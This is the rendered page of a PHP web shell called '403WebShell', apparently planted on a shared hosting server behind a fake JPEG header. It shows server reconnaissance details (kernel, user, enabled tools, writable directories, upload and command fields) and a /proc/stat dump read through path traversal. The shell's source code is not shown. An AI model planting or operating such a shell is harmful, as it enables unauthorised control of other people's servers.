????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.30.238  /  Your IP : 216.73.216.153
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /././././proc/self/root/proc/self/root/proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /././././proc/self/root/proc/self/root/proc/self/root/proc//stat
cpu  10950659303 182730051 3686254825 14669062278 606562990 0 444841390 23653930 0 0
cpu0 451752428 7656180 152972904 614960889 25255956 0 21381315 929961 0 0
cpu1 456832075 7753996 153155238 610678283 25301694 0 19964929 925431 0 0
cpu2 456505573 7602151 153529960 610774241 25421159 0 19544729 921461 0 0
cpu3 458469896 7563475 153531226 609494390 25403833 0 18848074 922276 0 0
cpu4 459428222 7697278 154070025 610677125 25553652 0 16074556 914195 0 0
cpu5 459573491 7590851 153969918 610936793 25478251 0 15883983 915352 0 0
cpu6 458984169 7628314 154219232 611293204 25490108 0 15742213 913318 0 0
cpu7 459151836 7625674 154255433 611091745 25586788 0 15624651 914691 0 0
cpu8 458145435 7600637 153885106 609816283 25483442 0 18031847 918888 0 0
cpu9 438190819 7550354 154052944 627659598 25928486 0 18562894 949226 0 0
cpu10 455801651 7687648 153813188 612179377 25487367 0 17905729 918349 0 0
cpu11 460380107 7728765 153808522 605358513 24424553 0 15424913 1423027 0 0
cpu12 457245487 7592030 153811675 610974026 25440284 0 17803353 916750 0 0
cpu13 452051256 7508557 151759641 602210133 24616861 0 33574952 1255683 0 0
cpu14 452254650 7586568 152013730 601808548 24538495 0 33362925 1154409 0 0
cpu15 458225400 7502048 153470484 610635974 25352557 0 17681582 918262 0 0
cpu16 456279255 7644662 153645970 611728783 25350034 0 18150891 931852 0 0
cpu17 457503169 7548110 153552454 611019117 25336231 0 17939066 928320 0 0
cpu18 456788434 7654151 153436729 611924850 25307495 0 17641495 919855 0 0
cpu19 457520793 7452130 153353167 611668757 25252708 0 17618057 915012 0 0
cpu20 457183776 7717702 153843086 613879363 25375928 0 15136932 909446 0 0
cpu21 456061548 7530187 154178378 614879801 25386570 0 15119989 910432 0 0
cpu22 457019154 7602724 153792387 614219512 25385800 0 15109852 910346 0 0
cpu23 459310668 7705851 154133418 609192961 24404727 0 12712455 1417374 0 0
intr 148159080273 61 9 0 0 479 0 0 0 98 0 0 0 15 0 12656354 0 0 0 0 0 0 0 0 0 0 0 0 1626687054 1581418527 0 43 10 1434181747 3510183937 10 474438054 460437653 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 440990215661
btime 1749129604
processes 1356274308
procs_running 33
procs_blocked 2
softirq 108878999176 1 4012632354 11627 3649993733 2645664275 0 1127235600 785319906 8068870 2160792298

Youez - 2016 - github.com/yon3zu
LinuXploit